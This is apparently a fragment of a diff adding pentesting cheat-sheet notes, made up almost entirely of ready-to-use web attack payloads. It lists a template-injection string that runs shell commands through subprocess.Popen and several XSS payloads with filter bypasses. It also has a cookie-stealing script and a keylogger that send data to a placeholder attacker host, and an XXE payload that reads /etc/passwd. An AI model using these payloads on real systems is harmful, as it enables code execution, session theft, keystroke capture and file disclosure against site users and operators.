+	- Call `subprocess.Popen` to execute commands ("env" in this case)
+		- `{{request.__class__.__base__.__base__.__subclasses__()[282]("env",shell=True,stdout=-1).communicate()[0]}}`
@@ -0,0 +1,34 @@
+- Various XSS payloads
+	- `<img src='LINK' onmouseover="alert('xss')">`
+	- `<img src=x onerror=alert(1)>`
+	- `<img \x00src=x onerror="alert(1)">` - Possible filter bypass
+	- `<object data=javascript:alert(1)>`
+	- `<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>`
+	- `<image src="javascript:alert(1)">`
+	- `<body oninput=javascript:alert(1)><input autofocus>`
+- Cookie Theft
+	- `<script>document.location='http://ip:port/?='+document.cookie;</script>`
+
+- Keylogger
+	```HTML
+	<script> 
+	var keys='';
+	document.onkeypress = function(e) { 
+	  get = window.event?event:e;
+	  key = get.keyCode?get.keyCode:get.charCode;
+	  key = String.fromCharCode(key);
+	  keys+=key; 
+	} 
+	window.setInterval(function(){
+	  new Image().src = 'http**s**://**attackerAddress**/**kl**.php?c='+keys;
+	  keys = ''; 
+	}, 1000);
+	</script>
+	```
+
+- HTML encoding
+	-   < encoded to &lt;
+	-   > encoded to &gt;
+	-   ‘ encoded to &apos;
+	-   “ encoded to &quot;
+	-   & encoded to &amp;
@@ -0,0 +1,6 @@
+- Basic
+	```XML
+	<?xml version="1.0"?> <!DOCTYPE root [<!ENTITY read SYSTEM 'file:///etc/passwd'>]> <root>&read;</root>
+	```
+
+-